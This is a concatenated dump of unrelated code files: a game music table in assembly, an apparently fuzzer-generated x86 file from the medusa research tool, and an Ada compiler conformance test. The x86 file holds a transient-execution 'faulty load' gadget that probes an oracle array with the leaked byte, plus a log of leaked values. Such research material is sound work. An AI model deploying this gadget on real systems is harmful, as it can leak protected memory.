db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 23
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_PIANO_SOFT, 0
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 42
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 27
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 23
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 41
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 29
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 23
db MUSIC_CMD_PLAY_INSTRUMENT_CH3 + MUSIC_CMD_TIME_STEP_FLAG, 3
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 40
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 30
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_END_REPEAT
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_PIANO_SOFT, 0
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 39
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_PIANO_SOFT, 1
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 15
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_SQUARE_WAVE, 2
db MUSIC_CMD_PLAY_INSTRUMENT_CH3 + MUSIC_CMD_TIME_STEP_FLAG, 4
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 20
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 27
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 20
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 37
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 29
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 20
db MUSIC_CMD_PLAY_INSTRUMENT_CH3 + MUSIC_CMD_TIME_STEP_FLAG, 3
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 30
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 36
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 17
db MUSIC_CMD_PLAY_INSTRUMENT_CH3 + MUSIC_CMD_TIME_STEP_FLAG, 6
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 22
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 26
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 22
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 37
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 27
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 22
db MUSIC_CMD_PLAY_INSTRUMENT_CH3 + MUSIC_CMD_TIME_STEP_FLAG, 2
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 36
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 29
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 37
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 18
db MUSIC_CMD_PLAY_INSTRUMENT_CH3 + MUSIC_CMD_TIME_STEP_FLAG, 8
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 23
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 27
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 23
db MUSIC_CMD_SKIP
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_SQUARE_WAVE, 0
db 8, 0
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 29
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 23
db MUSIC_CMD_PLAY_INSTRUMENT_CH3 + MUSIC_CMD_TIME_STEP_FLAG, 3
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 30
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_PIANO, 0
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 18
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_SQUARE_WAVE, 1
db 9, 0
db MUSIC_CMD_PLAY_INSTRUMENT_CH3 + MUSIC_CMD_TIME_STEP_FLAG, 8
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_PIANO_SOFT, 1
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 23
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 27
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 23
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 29
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 23
db MUSIC_CMD_PLAY_INSTRUMENT_CH3 + MUSIC_CMD_TIME_STEP_FLAG, 3
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 30
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 15
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_SQUARE_WAVE, 1
db 9, 0
db MUSIC_CMD_PLAY_INSTRUMENT_CH3 + MUSIC_CMD_TIME_STEP_FLAG, 4
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_PIANO_SOFT, 1
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 20
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 27
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 20
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 29
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 20
db MUSIC_CMD_PLAY_INSTRUMENT_CH3 + MUSIC_CMD_TIME_STEP_FLAG, 11
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 30
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 15
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_SQUARE_WAVE, 1
db 9, 0
db MUSIC_CMD_PLAY_INSTRUMENT_CH3 + MUSIC_CMD_TIME_STEP_FLAG, 4
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_PIANO_SOFT, 1
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 20
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 27
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 20
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 29
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_SFX_SHORT_HIHAT
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 20
db MUSIC_CMD_PLAY_INSTRUMENT_CH3 + MUSIC_CMD_TIME_STEP_FLAG, 11
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 30
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_SQUARE_WAVE, 0
db 8, 0
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_SQUARE_WAVE, 1
db 9, 0
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_GOTO
dw (song_loop - song)
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_905.asm | ljhsiun2/medusa | 9 | 13656 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %r15
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x10bf6, %rsi
lea addresses_WC_ht+0x5086, %rdi
clflush (%rsi)
and %r10, %r10
mov $40, %rcx
rep movsb
nop
nop
sub $21189, %rsi
lea addresses_D_ht+0x1a076, %rdi
nop
nop
nop
nop
nop
and $30609, %rcx
mov $0x6162636465666768, %rax
movq %rax, (%rdi)
nop
nop
nop
nop
add $48154, %r10
lea addresses_WT_ht+0x48b6, %r15
nop
cmp $51818, %r10
vmovups (%r15), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %rcx
nop
nop
nop
nop
dec %rax
lea addresses_normal_ht+0xc1f6, %rdi
nop
nop
xor $22701, %r15
mov (%rdi), %cx
nop
nop
nop
add $15321, %rdi
lea addresses_D_ht+0x125f6, %r10
nop
nop
and $14258, %rcx
vmovups (%r10), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %rsi
nop
cmp %r15, %r15
lea addresses_WC_ht+0x1806, %rsi
lea addresses_D_ht+0xa9f6, %rdi
nop
nop
add %r14, %r14
mov $52, %rcx
rep movsq
nop
nop
nop
nop
and %r14, %r14
lea addresses_normal_ht+0x1e0f6, %r15
nop
nop
inc %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm7
vmovups %ymm7, (%r15)
nop
nop
cmp %r14, %r14
lea addresses_normal_ht+0x127a0, %rsi
lea addresses_normal_ht+0x1a656, %rdi
nop
nop
nop
nop
and %r12, %r12
mov $4, %rcx
rep movsw
nop
cmp %r14, %r14
lea addresses_UC_ht+0x1cb06, %rsi
lea addresses_A_ht+0x169ee, %rdi
nop
nop
cmp %r15, %r15
mov $24, %rcx
rep movsl
nop
nop
inc %r14
lea addresses_A_ht+0x7bf6, %r12
nop
xor $12624, %rax
mov $0x6162636465666768, %rcx
movq %rcx, (%r12)
sub %rsi, %rsi
lea addresses_UC_ht+0x4e76, %rcx
nop
nop
nop
xor $21779, %r15
and $0xffffffffffffffc0, %rcx
movaps (%rcx), %xmm0
vpextrq $1, %xmm0, %rdi
nop
cmp %r14, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r8
push %r9
push %rdx
push %rsi
// Load
lea addresses_WT+0x18e56, %r8
nop
nop
add %rdx, %rdx
mov (%r8), %r14w
nop
cmp %r8, %r8
// Faulty Load
lea addresses_PSE+0xe3f6, %rsi
nop
nop
nop
cmp $50658, %r12
movups (%rsi), %xmm5
vpextrq $1, %xmm5, %r8
lea oracles, %r9
and $0xff, %r8
shlq $12, %r8
mov (%r9,%r8,1), %r8
pop %rsi
pop %rdx
pop %r9
pop %r8
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': False}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c49022c.ada | best08618/asylo | 7 | 6537 | -- C49022C.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT NAMED NUMBER DECLARATIONS (REAL) MAY USE EXPRESSIONS
-- WITH REALS.
-- BAW 29 SEPT 80
-- TBN 10/24/85 RENAMED FROM C4A011A.ADA. ADDED RELATIONAL
-- OPERATORS AND NAMED NUMBERS.
WITH REPORT;
PROCEDURE C49022C IS
USE REPORT;
ADD1 : CONSTANT := 2.5 + 1.5;
ADD2 : CONSTANT := 2.5 + (-1.5);
ADD3 : CONSTANT := (-2.5) + 1.5;
ADD4 : CONSTANT := (-2.5) + (-1.5);
SUB1 : CONSTANT := 2.5 - 1.5;
SUB2 : CONSTANT := 2.5 - (-1.5);
SUB3 : CONSTANT := (-2.5) - 1.5;
SUB4 : CONSTANT := (-2.5) - (-1.5);
MUL1 : CONSTANT := 2.5 * 1.5;
MUL2 : CONSTANT := 2.5 * (-1.5);
MUL3 : CONSTANT := (-2.5) * 1.5;
MUL4 : CONSTANT := (-2.5) * (-1.5);
MLR1 : CONSTANT := 2 * 1.5;
MLR2 : CONSTANT := (-2) * 1.5;
MLR3 : CONSTANT := 2 * (-1.5);
MLR4 : CONSTANT := (-2) * (-1.5);
MLL1 : CONSTANT := 1.5 * 2 ;
MLL2 : CONSTANT := 1.5 * (-2);
MLL3 : CONSTANT :=(-1.5) * 2 ;
MLL4 : CONSTANT :=(-1.5) * (-2);
DIV1 : CONSTANT := 3.75 / 2.5;
DIV2 : CONSTANT := 3.75 / (-2.5);
DIV3 : CONSTANT := (-3.75) / 2.5;
DIV4 : CONSTANT := (-3.75) / (-2.5);
DVI1 : CONSTANT := 3.0 / 2;
DVI2 : CONSTANT := (-3.0) / 2;
DVI3 : CONSTANT := 3.0 / (-2);
DVI4 : CONSTANT := (-3.0) / (-2);
EXP1 : CONSTANT := 2.0 ** 1;
EXP2 : CONSTANT := 2.0 ** (-1);
EXP3 : CONSTANT := (-2.0) ** 1;
EXP4 : CONSTANT := (-2.0) ** (-1);
ABS1 : CONSTANT := ABS( - 3.75 );
ABS2 : CONSTANT := ABS( + 3.75 );
TOT1 : CONSTANT := ADD1 + SUB4 - MUL1 + DIV1 - EXP2 + ABS1;
LES1 : CONSTANT := BOOLEAN'POS (1.5 < 2.0);
LES2 : CONSTANT := BOOLEAN'POS (1.5 < (-2.0));
LES3 : CONSTANT := BOOLEAN'POS ((-1.5) < (-2.0));
LES4 : CONSTANT := BOOLEAN'POS (ADD2 < SUB1);
GRE1 : CONSTANT := BOOLEAN'POS (2.0 > 1.5);
GRE2 : CONSTANT := BOOLEAN'POS ((-2.0) > 1.5);
GRE3 : CONSTANT := BOOLEAN'POS ((-2.0) > (-1.5));
GRE4 : CONSTANT := BOOLEAN'POS (ADD1 > SUB1);
LEQ1 : CONSTANT := BOOLEAN'POS (1.5 <= 2.0);
LEQ2 : CONSTANT := BOOLEAN'POS (1.5 <= (-2.0));
LEQ3 : CONSTANT := BOOLEAN'POS ((-1.5) <= (-2.0));
LEQ4 : CONSTANT := BOOLEAN'POS (ADD2 <= SUB1);
GEQ1 : CONSTANT := BOOLEAN'POS (2.0 >= 1.5);
GEQ2 : CONSTANT := BOOLEAN'POS ((-2.0) >= 1.5);
GEQ3 : CONSTANT := BOOLEAN'POS ((-2.0) >= (-1.5));
GEQ4 : CONSTANT := BOOLEAN'POS (ADD1 >= SUB2);
EQU1 : CONSTANT := BOOLEAN'POS (1.5 = 2.0);
EQU2 : CONSTANT := BOOLEAN'POS ((-1.5) = 2.0);
EQU3 : CONSTANT := BOOLEAN'POS ((-1.5) = (-1.5));
EQU4 : CONSTANT := BOOLEAN'POS (ADD1 = SUB2);
NEQ1 : CONSTANT := BOOLEAN'POS (1.5 /= 1.5);
NEQ2 : CONSTANT := BOOLEAN'POS ((-1.5) /= 1.5);
NEQ3 : CONSTANT := BOOLEAN'POS ((-1.5) /= (-2.0));
NEQ4 : CONSTANT := BOOLEAN'POS (ADD1 /= SUB2);
BEGIN
TEST("C49022C","CHECK THAT NAMED NUMBER DECLARATIONS (REAL) " &
"MAY USE EXPRESSIONS WITH REALS.");
IF ADD1 /= 4.0 OR ADD2 /= 1.0 OR ADD3 /= -1.0 OR ADD4 /= -4.0 THEN
FAILED("ERROR IN THE ADDING OPERATOR +");
END IF;
IF SUB1 /= 1.0 OR SUB2 /= 4.0 OR SUB3 /= -4.0 OR SUB4 /= -1.0 THEN
FAILED("ERROR IN THE ADDING OPERATOR -");
END IF;
IF MUL1 /= 3.75 OR MUL2 /= -3.75 OR
MUL3 /= -3.75 OR MUL4 /= 3.75 THEN
FAILED("ERROR IN THE MULTIPLYING OPERATOR *");
END IF;
IF MLR1 /= 3.0 OR MLR2 /= -3.0 OR
MLR3 /= -3.0 OR MLR4 /= 3.0 THEN
FAILED("ERROR IN THE MULTIPLYING OPERATOR *");
END IF;
IF MLL1 /= 3.0 OR MLL2 /= -3.0 OR MLL3 /= -3.0 OR MLL4 /= 3.0 THEN
FAILED("ERROR IN THE MULTIPLYING OPERATOR *");
END IF;
IF DIV1 /= 1.5 OR DIV2 /= -1.5 OR DIV3 /= -1.5 OR DIV4 /= 1.5 THEN
FAILED("ERROR IN THE MULTIPLYING OPERATOR /");
END IF;
IF DVI1 /= 1.5 OR DVI2 /= -1.5 OR DVI3 /= -1.5 OR DVI4 /= 1.5 THEN
FAILED("ERROR IN THE MULTIPLYING OPERATOR /");
END IF;
IF EXP1 /= 2.0 OR EXP2 /= 0.5 OR EXP3 /= -2.0 OR EXP4 /= -0.5 THEN
FAILED("ERROR IN THE EXPONENTIATING OPERATOR");
END IF;
IF ABS1 /= 3.75 OR ABS2 /= 3.75 THEN
FAILED("ERROR IN THE ABS OPERATOR");
END IF;
IF TOT1 /= 4.00 THEN
FAILED("ERROR IN USE OF NAMED NUMBERS WITH OPERATORS");
END IF;
IF LES1 /= 1 OR LES2 /= 0 OR LES3 /= 0 OR LES4 /= 0 THEN
FAILED("ERROR IN THE LESS THAN OPERATOR");
END IF;
IF GRE1 /= 1 OR GRE2 /= 0 OR GRE3 /= 0 OR GRE4 /= 1 THEN
FAILED("ERROR IN THE GREATER THAN OPERATOR");
END IF;
IF LEQ1 /= 1 OR LEQ2 /= 0 OR LEQ3 /= 0 OR LEQ4 /= 1 THEN
FAILED("ERROR IN THE LESS THAN EQUAL OPERATOR");
END IF;
IF GEQ1 /= 1 OR GEQ2 /= 0 OR GEQ3 /= 0 OR GEQ4 /= 1 THEN
FAILED("ERROR IN THE GREATER THAN EQUAL OPERATOR");
END IF;
IF EQU1 /= 0 OR EQU2 /= 0 OR EQU3 /= 1 OR EQU4 /= 1 THEN
FAILED("ERROR IN THE EQUAL OPERATOR");
END IF;
IF NEQ1 /= 0 OR NEQ2 /= 1 OR NEQ3 /= 1 OR NEQ4 /= 0 THEN
FAILED("ERROR IN THE NOT EQUAL OPERATOR");
END IF;
RESULT;
END C49022C;
|
stm32f4/stm32gd-timer.ads | ekoeppen/STM32_Generic_Ada_Drivers | 1 | 16866 | <reponame>ekoeppen/STM32_Generic_Ada_Drivers
